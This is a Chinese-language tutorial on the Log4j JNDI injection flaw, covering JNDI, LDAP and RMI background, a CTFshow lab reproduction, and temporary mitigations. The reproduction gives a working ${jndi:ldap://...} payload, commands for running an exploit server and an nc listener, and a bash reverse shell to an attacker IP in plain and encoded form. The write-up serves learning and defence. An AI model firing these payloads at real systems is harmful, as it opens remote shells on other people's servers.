一.前置知识

1.JNDI接口

JNDI即Java Naming and Directory Interface(JAVA命名和目录接口),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

有一个类似于字典的数据源,你可以通过JNDI接口,传一个name进去,就能获取到对象了。

2.LDAP协议

LDAP称为轻量级目录访问协议,既是一种服务,也是一种协议,是JNDI的一种底层实现,主要功能是提供命名关键字到对象的映射目录,开发人员可以通过输入名称,获取到对象的内容。

有一个类似于字典的数据源,你可以通过LDAP协议,传一个name进去,就能获取到数据。

3.RMI协议

JAVA的一种远程接口调用协议,在TCP协议上传递可序列化的Java对象,即可以实现调用远程方法和调用本地方法一样简单。

4.Log4j

Log4j是由Apache提供的日志操作包,用于帮助用户处理日志信息。通过Log4j,可以控制日志信息输送的目的地是控制台、文件、GUI组件、甚至是套接口服务器等各种地方。

二.Log4j漏洞的成因

Log4j为了输出日志时能输出任意位置的Java对象,引入了Lookup接口,这个Lookup接口可以看作是JNDI的一种实现,允许按照具体的名称逻辑查找对象的位置,并输出对象的内容,此对象可以通过Java的序列化或反序列化传输,从远程服务器上查找。

由于Lookup接口的原因,Log4j就暗含JNDI注入漏洞,可以联合使用JNDI+LDAP或者JNDI+RMI通过命名功能直接从远程服务器上调用文件并在本地执行。

Log4j在处理消息转换时,会按照字符检测每条日志,当日志中包含${}时,则会将表达式的内容替换成真实的内容(即lookup接口查找得到的内容),使用LDAP或RMI协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了Log4j的漏洞。

三.漏洞复现

1.ctfshow的log4j复现

2.打开环境,写上payload:${jndi:ldap://ntoand.dnslog.cn}先用dnslog检测漏洞是否存在

3.可以看到,是有解析记录的,原理如下:

4.浅浅漏洞利用一下吧~

在远程vps上搭建LDAP服务器,并将恶意代码编译并挂在服务器上,对JAVA不太熟练,直接使用JNDIExploit工具进行搭建:

GitHub链接:Yihsiwei/Log4j-exp: 帮助你快速复现Log4j漏洞 (github.com)

下载工具后,放到公网VPS上,记得防火墙放行端口

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i X.X.X.X -p 4444

用nc监听端口

nc -lvp 5555

制作poc,通过bash -i >& /dev/tcp/x.x.x.x/5555 0>&1反弹shell

说明:

bash -i 指开启一个交互式的Shell

&符号用于区分文件和文件描述符

&表示标准输出或标准错误输出重定向到文件

0指标准输入重定向,1指标准输出重定向,2指错误输出重定向

/dev/tcp指linux下的特殊设备,可用于建立Socket连接

bash -i >& /dev/tcp/120.x.7x.2x.17x/5555 0>&1 指将标准输出重定向到/dev/tcp/ip/port端口文件中即重定向到攻击机,靶机的标准输入被重定向到了标准输出,标准输出重定向到了攻击机,因此标准输入也就重定向到了攻击机,所以可以看到攻击机输入命令并看到结果。

POC为:

${jndi:ldap://x.x.x.x:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2BJiAV2L3RjcC8xOTUuMTMzLjUuMzc1NSAwPiYx}

注意:bash -i >& /dev/tcp/x.x.x.x/5555 0>&1需要base64编码+url编码工具才能识别

base64编码后:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTUuMzLzcvNTU1NSAwPiYx

Url编码后:YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTUuMTMMzcvNTU1NPiYx

点击提交,看到shell反弹回来了

log4j漏洞攻击成功~

四、Log4j的临时缓解措施

关闭lookup功能:

(1)设置log4j2.formatMsgNoLookups=True

(2)Dlog4j2.formatMsgNoLookups=true。

(3)设置系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS为true

(4)采用防火墙对请求流量中的${jndi进行拦截,防止JNDI注入。

(5)禁止存在漏洞的业务访问外网,主动外连外网。

log4j漏洞原理的更多相关文章

  1. 升级过log4j,却还没搞懂log4j漏洞的本质?

    摘要:log4j远程代码漏洞问题被大范围曝光后已经有一段时间了,今天完整讲清JNDI和RMI以及该漏洞的深层原因. 本文分享自华为云社区<升级过log4j,却还没搞懂log4j漏洞的本质?为你完 ...

  2. 打印机PCL漏洞原理分析

    0x01 漏洞概要 PCL代表打印机控制语言(Printer Control Language),由惠普公司开发,并被广泛使用的一种打印机协议.关于另一种页面描述语言,应该提一提由Adobe设计的Po ...

  3. CVE-2014-0038内核漏洞原理与本地提权利用代码实现分析 作者:seteuid0

    关键字:CVE-2014-0038,内核漏洞,POC,利用代码,本地提权,提权,exploit,cve analysis, privilege escalation, cve, kernel vuln ...

  4. Heartbleed心脏出血漏洞原理分析

    Heartbleed心脏出血漏洞原理分析 2017年01月14日 18:14:25 阅读数:2718 1. 概述    OpenSSL在实现TLS和DTLS的心跳处理逻辑时,存在编码缺陷.OpenSS ...

  5. java反序列化漏洞原理研习

    零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...

  6. CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc

    1.libupnp问题分析: (1)问题简述: 根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863. (2)漏洞原理分析: 该漏洞发生在up ...

  7. 微软 IIS HTTP.sys漏洞原理学习以及POC

    零.MS15-034POC核心部分(参考巡风): socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket. ...

  8. Java反序列化漏洞原理解析(案例未完善后续补充)

    序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 java的反序列化 序列化就是将对象转换为流,利于储存和传输的格式 反序列化与序列化相反,将流转换为对象 例如:json序列化.XML序列 ...

  9. 浅谈PHP反序列化漏洞原理

    序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 0x01 php反序列化漏洞 在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等. 常见的序列化格式: ...

  10. CSRF漏洞原理浅谈

    CSRF漏洞原理浅谈 By : Mirror王宇阳 E-mail : mirrorwangyuyang@gmail.com 笔者并未深挖过CSRF,内容居多是参考<Web安全深度剖析>.& ...

随机推荐

  1. Coprime

    Coprime 前置芝士 莫比乌斯反演 正文 首先,我们来分析题意. 题目中给出 \(n\) 个人,每个人有一个编号 \(k\) ,要求我们从中选出 \(3\) 个人,三人编号分别为 \(k_a\) ...

  2. 【项目实战】kaggle产品分类挑战

    多分类特征的学习 这里还是b站刘二大人的视频课代码,视频链接:https://www.bilibili.com/video/BV1Y7411d7Ys?p=9 相关注释已经标明了(就当是笔记),因此在这 ...

  3. Elasticsearch:ICU分词器介绍

    ICU Analysis插件是一组将Lucene ICU模块集成到Elasticsearch中的库. 本质上,ICU的目的是增加对Unicode和全球化的支持,以提供对亚洲语言更好的文本分割分析. 从 ...

  4. 不给字段创建索引,字段不存放在source中,字段无法聚合查询等

    某个字段不被搜索,也就是说不想为这个字段建立inverted index(反向索引),可以这么做: PUT twitter { "mappings": { "uid&qu ...

  5. win10系统恢复默认的照片查看器

    新建一个TXT文本文档,把以下代码复制粘贴到其中: 注:你可以根据需要按同样的格式增减或修改其中的图片格式代码 Windows Registry Editor Version 5.00 ; Chang ...

  6. Node Exporter监控指标

    访问http://localhost:9100/metrics,可以看到当前node exporter获取到的当前主机的所有监控数据,如下所示: 每一个监控指标之前都会有一段类似于如下形式的信息: # ...

  7. C++ STL 概述_严丝合缝的合作者们

    1. 初识 STL 什么是STL? STL(Standard Template Library) 是C++以模板形式提供的一套标准库,提供了很多开发过程需要的通用功能模块.使用 STL ,可以让开发者 ...

  8. Linux+Proton without Steam玩火影忍者究极风暴4指南

    首先你需要Proton7.0 without Steam,使用说明和下载链接看这里https://www.cnblogs.com/tubentubentu/p/16716612.html 启动游戏的命 ...

  9. JavaWeb505错误,IDEA版问题解决

    问题描述: 在学习JavaWeb的过程中,使用JSP文件转至servlet文件的过程中,发现无论如何都无法打开文件 JSP文件代码 <%@page contentType="text/ ...

  10. 代码随想录第二天| 977.有序数组的平方 ,209.长度最小的子数组 ,59.螺旋矩阵II

    2022/09/22 第二天 第一题 这题我就直接平方后排序了,很无脑但很快乐啊(官方题解是双指针 第二题 滑动窗口的问题,本来我也是直接暴力求解发现在leetCode上超时,看了官方题解,也是第一次 ...